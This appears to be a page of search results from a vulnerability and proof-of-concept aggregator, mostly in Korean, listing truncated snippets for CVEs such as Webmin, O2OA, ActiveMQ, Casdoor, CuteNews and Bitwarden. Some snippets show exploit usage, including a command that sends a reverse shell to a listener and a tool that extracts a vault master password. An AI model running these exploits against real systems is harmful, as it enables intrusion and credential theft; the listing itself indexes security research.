32269 matches found
CVE-2025-47550
Instantio - Wordpress 플러그인 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0: mtu 15...
CVE-2022-22916
CVE-2022-22916 CVE-2022-22916,O2OA RCE 원격 명령 실행 O2OA RCE 원격 명령 실행（CVE-2022-22916） O2OA는 J2EE 분산 아키텍처를 기반으로 하며, 모바일 오피스, 스마트 오피스를 통합하고, 사설 배포를 지원하며, 부하 적응 능력을 갖추고, 기업 소프트웨어 개발 비용을 크게 절약할 수 있는 AGPL 프로토콜 기반 오픈 소스 기업 정보 시스템 요구 사항 맞춤형 개발 플랫폼 솔루션입니다. /xprogramcenter/jaxrs/invoke를 통해 O2OA v6.4.7에 원격 코드...
CVE-2026-42588
CVE-2026-42588 - Apache ActiveMQ Jolokia 원격 코드 실행 취약점 이용 심각도 : 🔴 고위험 CVSS 4.0: 8.1 취약점 유형 : CWE-94 — 코드 인젝션 영향받는 버전 : Apache ActiveMQ 이용 전제 : Web Console 인증 자격 증명 필요 기본 admin:admin 📋 목차 취약점 개요 취약점 원리 영향받는 버전 이용 조건 파일 설명 빠른 시작 상세 사용 방법 이용 체인 전체 그림 취약점 이용 성공 확인 수정 방안 임시 완화 조치 FAQ 면책 조항 참고 링크 취약점 개요...
Astra Linux – Vulnerability in binutils
A vulnerability has been discovered in GNU Binutils 2.45. This vulnerability affects the function bfdelfgcrecordvtentry in the file bfd/elflink.c of the Linker component. Manipulation of this function can lead to out-of-bounds reading. Access to local resources is required to carry out this attac...
CVE-2026-6815
CVE-2026-6815 PoC/Exploit: Casdoor 3.54.1 경로 탐색 및 임의 파일 쓰기 인증됨 이 저장소는 Casdoor의 임의 파일 쓰기 및 경로 탐색 취약점인 CVE-2026-6815에 대한 PoCProof of Concept 익스플로잇을 포함합니다. 이 취약점은 버전 3.54.1에서 수정되었습니다. 요구 사항 공격자는 Casdoor 인스턴스에 관리자 권한으로 인증되어 있어야 하며, 스토리지 공급자를 생성 및/또는 편집할 수 있는 권한을 가진 동급의 사용자여야 합니다. 영향 원격 코드 실행 RCE :...
webmin_cve-2019-12840_poc
webmincve-2019-12840poc CVE-2019-12840에 대한 독립형 PoC입니다. 아래는 포트 443으로 리버스 셸을 전송합니다. $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || || | | | | | \ / / | |/...
CVE-2023-49974
CVE-2023-49974 Customer Support System 1.0 - Cross-Site Scripting XSS Vulnerability in "contact" field/parameter on "customerlist" Page 설명 : Customer Support System 1.0은 저장형 XSS에 취약합니다. Customer Support System 버전 1에 XSS 취약점이 존재합니다. 악의적인 사용자가 고객을 편집/생성할 때 "contact" 필드/매개변수를 통해 JavaScript 코드를 삽입할 수...
CVE-2017-16524
CVE-2017-16524 발견자 Omar Mezrag - 0xFFFFFF 영향을 받는 제품 Samsung Network Video Recorders - Web Viewer 1.0.0.193 on Samsung SRN-1670D 제품 공급업체 Hanwha / Samsung Security - https://www.hanwhasecurity.com/ 취약점 유형 무제한 파일 업로드 취약점 공격 벡터 AccessVector AV: Network User Interaction UI: None Authentication Au:...
ediop3PHP
ediop3PHP PHP CVE-2025-1219 스캐너. Bash에서 root 권한 없이 작동합니다...
CVE-2025-63499
theme 매개변수의 대상 지정 반사형 XSS 연구자: Arseniy Poblaguev, Daniil Khomichenok 영향을 받는 버전 = 5.12.4 https://github.com/Alinto/sogo/releases/tag/SOGo-5.12.4 날짜: 02.12.2025 theme 매개변수에 반사형 XSS 취약점이 있습니다:...
UserLAnd
UserLAnd에 오신 것을 환영합니다 Android에서 Linux 배포판이나 애플리케이션을 실행하는 가장 쉬운 방법입니다. 기능: Android 위에서 전체 Linux 배포판 또는 특정 애플리케이션을 실행합니다. 일반 앱처럼 설치 및 제거할 수 있습니다. 루트 권한이 필요 없습니다. 버그 신고 또는 기능 요청이 있으신가요? 이슈 센터에서 템플릿을 확인하실 수 있습니다. UserLAnd 사용 시작하기 시작하기 페이지를 참조하세요. UserLAnd 자산 UserLAnd가 의존하는 자산과 이를 빌드하는 스크립트는 다른 저장소에...
CVE-2020-7246
실험실 설정: a git clone https://github.com/pswalia2u/CVE-2020-7246.git b cd CVE-2020-7246 && docker build -t cve-assignment:ine . && docker run -it -p 80:80 cve-assignment:ine c 웹 서버는 http://127.0.0.1/index.php 에서 접근 가능해야 합니다. d 사전 설정된 계정: 이메일: [email protected] 비밀번호: developer1 공격: 예전 python2...
Roxy-WI < 6.1.1.0 - Remote Code Execution
Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the subprocessexecute function without processing the inputs received from the user in the /app/options.py file. id: CVE-2022-31137 info: name: Roxy-WI 6.1.1.0 - Remote Code Execution author:...
cve-2018-12798
Adobe Acrobat Reader 힙 오버플로 원격 코드 실행 취약점 취약점 메모리 버퍼 범위 내 작업 제한 부적절 취약점 취약점 설명 이 취약점을 통해 원격 공격자는 취약한 Adobe Acrobat Pro DC 설치 환경에서 임의 코드를 실행할 수 있습니다. 이 취약점을 악용하려면 사용자 상호작용이 필요하며, 대상이 악성 페이지를 방문하거나 악성 파일을 열어야 합니다. 구체적인 결함은 유니코드 문자열 처리 과정에 존재합니다. 구문 분석 시 프로세스는 사용자 제공 데이터를 고정 길이 힙 기반 버퍼에 복사하기 전에 데이터 길...
CVE-2019-12840
CVE-2019-12840 Webmin 1.910에서 인증된 RCE - 'Package Updates' 사용법 : 1- netcat 리스너를 설정하세요. 2- python3 exploit.py 참고: 예를 들어 URL을 제공하세요: http://:port 브라우저에서 'sid' 쿠키를 복사하여 exploit이 작동하도록 제공하세요...
CVE-2017-8759
CVE-2017-8759 무기화 PoC 이 저장소는 CVE-2017-8759 취약점을 무기화하는 데 사용할 수 있는 데이터를 포함하고 있습니다. 자세한 정보는 https://www.mdsec.co.uk/blog/ 를 방문하여 이 취약점 관련 게시물을 찾아보십시오. 늘 그렇듯, 제 연구는 커뮤니티가 증가하는 위협에 더 잘 인식하도록 돕고, 적대 시뮬레이션 커뮤니티가 클라이언트 기반에 대해 보다 현실적인 위협을 시뮬레이션하여 더 나은 교육과 정보를 제공하는 것을 목표로 합니다. 제 연구는 사전 동의 없이 표적에 사용되어서는 안...
CVE-2019-11447
CVE-2019-11447 - PoC 아바타 이미지 업로드 시 사용되는 취약한 파일 업로드 검사를 통해 CuteNews 2.1.2를 익스플로잇하여 RCE로 이어집니다. 설치 리포지토리를 클론하고 요구 사항을 설치합니다. pip install -r requirements.txt 사용법 아바타를 업로드하려면 CuteNews 사용자 계정이 필요하며, 관리자 계정일 필요는 없습니다. CVE-2019-11447.py URL USERNAME PASSWORD 예시: CVE-2019-11447.py...
bw-dump
BW-Dump 업데이트 2 : 이 취약점은 CVE-2023-38840로 지정되었습니다. 업데이트 : 이 취약점을 수정하는 패치가 GitHub 풀 리퀘스트5813를 통해 릴리스되었습니다. 영향을 받는 버전은 Bitwarden Desktop 2023.7.0 이하입니다. 설명 잠긴 Bitwarden 볼트최소 한 번은 잠금 해제되어 있어야 함에서 마스터 암호를 추출하는 개념 증명PoC 도구입니다. 현재 세션에서만 작동하므로 시스템을 재부팅한 후에는 작동하지 않습니다. 관리자 권한은 필요하지 않습니다. 블로그가 게시되었으며 다음에서 확...